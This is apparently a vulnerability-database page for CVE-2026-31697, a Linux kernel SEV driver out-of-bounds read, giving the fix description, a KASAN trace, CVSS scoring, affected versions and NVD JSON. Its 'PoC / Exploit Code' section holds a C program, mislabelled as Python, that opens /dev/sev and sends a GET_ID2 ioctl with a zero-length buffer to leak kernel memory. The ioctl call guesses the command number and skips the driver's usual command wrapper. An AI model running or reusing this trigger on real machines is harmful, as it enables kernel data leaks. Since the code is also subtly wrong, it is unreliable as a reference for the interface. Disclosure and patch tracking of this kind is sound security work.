CVE-2026-31697

Description

In the Linux kernel, the following vulnerability has been resolved: crypto: ccp: Don't attempt to copy ID to userspace if PSP command failed When retrieving the ID for the CPU, don't attempt to copy the ID blob to userspace if the firmware command failed. If the failure was due to an invalid length, i.e. the userspace buffer+length was too small, copying the number of bytes _firmware_ requires will overflow the kernel-allocated buffer and leak data to userspace. BUG: KASAN: slab-out-of-bounds in instrument_copy_to_user ../include/linux/instrumented.h:129 [inline] BUG: KASAN: slab-out-of-bounds in _inline_copy_to_user ../include/linux/uaccess.h:205 [inline] BUG: KASAN: slab-out-of-bounds in _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26 Read of size 64 at addr ffff8881867f5960 by task syz.0.906/24388 CPU: 130 UID: 0 PID: 24388 Comm: syz.0.906 Tainted: G U O 7.0.0-smp-DEV #28 PREEMPTLAZY Tainted: [U]=USER, [O]=OOT_MODULE Hardware name: Google, Inc. Arcadia_IT_80/Arcadia_IT_80, BIOS 12.62.0-0 11/19/2025 Call Trace: <TASK> dump_stack_lvl+0xc5/0x110 ../lib/dump_stack.c:120 print_address_description ../mm/kasan/report.c:378 [inline] print_report+0xbc/0x260 ../mm/kasan/report.c:482 kasan_report+0xa2/0xe0 ../mm/kasan/report.c:595 check_region_inline ../mm/kasan/generic.c:-1 [inline] kasan_check_range+0x264/0x2c0 ../mm/kasan/generic.c:200 instrument_copy_to_user ../include/linux/instrumented.h:129 [inline] _inline_copy_to_user ../include/linux/uaccess.h:205 [inline] _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26 copy_to_user ../include/linux/uaccess.h:236 [inline] sev_ioctl_do_get_id2+0x361/0x490 ../drivers/crypto/ccp/sev-dev.c:2222 sev_ioctl+0x25f/0x490 ../drivers/crypto/ccp/sev-dev.c:2575 vfs_ioctl ../fs/ioctl.c:51 [inline] __do_sys_ioctl ../fs/ioctl.c:597 [inline] __se_sys_ioctl+0x11d/0x1b0 ../fs/ioctl.c:583 do_syscall_x64 ../arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xe0/0x800 ../arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x76/0x7e </TASK> WARN if the driver says the command succeeded, but the firmware error code says otherwise, as __sev_do_cmd_locked() is expected to return -EIO on any firwmware error.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复补丁之前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/sev.h>

// This PoC attempts to trigger the slab-out-of-bounds in sev_ioctl_do_get_id2
// by providing a buffer that is likely too small for the firmware response.

#define SEV_DEVICE "/dev/sev"
// SEV_GET_ID2 command number (typically 2 or defined in kernel headers)
#ifndef SEV_GET_ID2
#define SEV_GET_ID2 2
#endif

int main() {
    int fd = open(SEV_DEVICE, O_RDWR);
    if (fd < 0) {
        perror("[-] Failed to open " SEV_DEVICE);
        return 1;
    }

    printf("[+] Opened %s\n", SEV_DEVICE);

    // Prepare the data structure for the ioctl
    struct sev_user_data_get_id2 data = {0};
    
    // Allocate a small buffer to trigger the 'invalid length' error path in firmware
    // The firmware might require 64 bytes, but we allocate less or set length to 0
    unsigned long buf_size = 0; 
    data.address = (unsigned long)malloc(buf_size);
    data.length = buf_size; 

    printf("[*] Sending SEV_GET_ID2 ioctl with small buffer...\n");
    
    // Trigger the vulnerability
    int ret = ioctl(fd, SEV_GET_ID2, &data);
    
    if (ret < 0) {
        perror("[-] Ioctl failed (expected), but kernel memory might have been leaked");
    } else {
        printf("[+] Ioctl succeeded\n");
    }

    if (data.address) {
        free((void *)data.address);
    }
    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31697
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31697
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31697/
[4] VulDB https://vuldb.com/cve/CVE-2026-31697
[5] https://git.kernel.org/stable/c/06f06d88c05ce176c61fff8c72c372847b0dd2b5
[6] https://git.kernel.org/stable/c/09427bcb1715fb20a80b6acd5156dbf15ab5c363
[7] https://git.kernel.org/stable/c/1fbac0429a42adec830491757a2b53956dd797ea
[8] https://git.kernel.org/stable/c/2937f17bbeefb8e7608ff1f78cffbeb3d0281e5e
[9] https://git.kernel.org/stable/c/4f685dbfa87c546e51d9dc6cab379d20f275e114

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31697", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:19.517", "lastModified": "2026-05-06T19:08:18.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp: Don't attempt to copy ID to userspace if PSP command failed\n\nWhen retrieving the ID for the CPU, don't attempt to copy the ID blob to\nuserspace if the firmware command failed. If the failure was due to an\ninvalid length, i.e. the userspace buffer+length was too small, copying\nthe number of bytes _firmware_ requires will overflow the kernel-allocated\nbuffer and leak data to userspace.\n\n BUG: KASAN: slab-out-of-bounds in instrument_copy_to_user ../include/linux/instrumented.h:129 [inline]\n BUG: KASAN: slab-out-of-bounds in _inline_copy_to_user ../include/linux/uaccess.h:205 [inline]\n BUG: KASAN: slab-out-of-bounds in _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26\n Read of size 64 at addr ffff8881867f5960 by task syz.0.906/24388\n\n CPU: 130 UID: 0 PID: 24388 Comm: syz.0.906 Tainted: G U O 7.0.0-smp-DEV #28 PREEMPTLAZY\n Tainted: [U]=USER, [O]=OOT_MODULE\n Hardware name: Google, Inc. Arcadia_IT_80/Arcadia_IT_80, BIOS 12.62.0-0 11/19/2025\n Call Trace:\n <TASK>\n dump_stack_lvl+0xc5/0x110 ../lib/dump_stack.c:120\n print_address_description ../mm/kasan/report.c:378 [inline]\n print_report+0xbc/0x260 ../mm/kasan/report.c:482\n kasan_report+0xa2/0xe0 ../mm/kasan/report.c:595\n check_region_inline ../mm/kasan/generic.c:-1 [inline]\n kasan_check_range+0x264/0x2c0 ../mm/kasan/generic.c:200\n instrument_copy_to_user ../include/linux/instrumented.h:129 [inline]\n _inline_copy_to_user ../include/linux/uaccess.h:205 [inline]\n _copy_to_user+0x66/0xa0 ../lib/usercopy.c:26\n copy_to_user ../include/linux/uaccess.h:236 [inline]\n sev_ioctl_do_get_id2+0x361/0x490 ../drivers/crypto/ccp/sev-dev.c:2222\n sev_ioctl+0x25f/0x490 ../drivers/crypto/ccp/sev-dev.c:2575\n vfs_ioctl ../fs/ioctl.c:51 [inline]\n __do_sys_ioctl ../fs/ioctl.c:597 [inline]\n __se_sys_ioctl+0x11d/0x1b0 ../fs/ioctl.c:583\n do_syscall_x64 ../arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xe0/0x800 ../arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n </TASK>\n\nWARN if the driver says the command succeeded, but the firmware error code\nsays otherwise, as __sev_do_cmd_locked() is expected to return -EIO on any\nfirwmware error."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndExcluding": "6.6.136", "matchCriteriaId": "C61C6D64-BBED-49D1-A334-68BA14CE5327"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.84", "matchCriteriaId": "D4ECA0DE-AFF5-4688-B219-4CA2336CA5B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc2:*:*:*:*:*:*", "matchCriteriaId": "0D38F0BF-A728-4133-A358-D44A2F7EE6D6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/06f06d88c05ce176c61fff8c72c372847b0dd2b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/09427bcb1715fb20a80b6acd5156dbf15ab5c363", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1fbac0429a42adec830491757a2b53956dd797ea", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2937f17bbeefb8e7608ff1f78cffbeb3d0281e5e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d ... (truncated)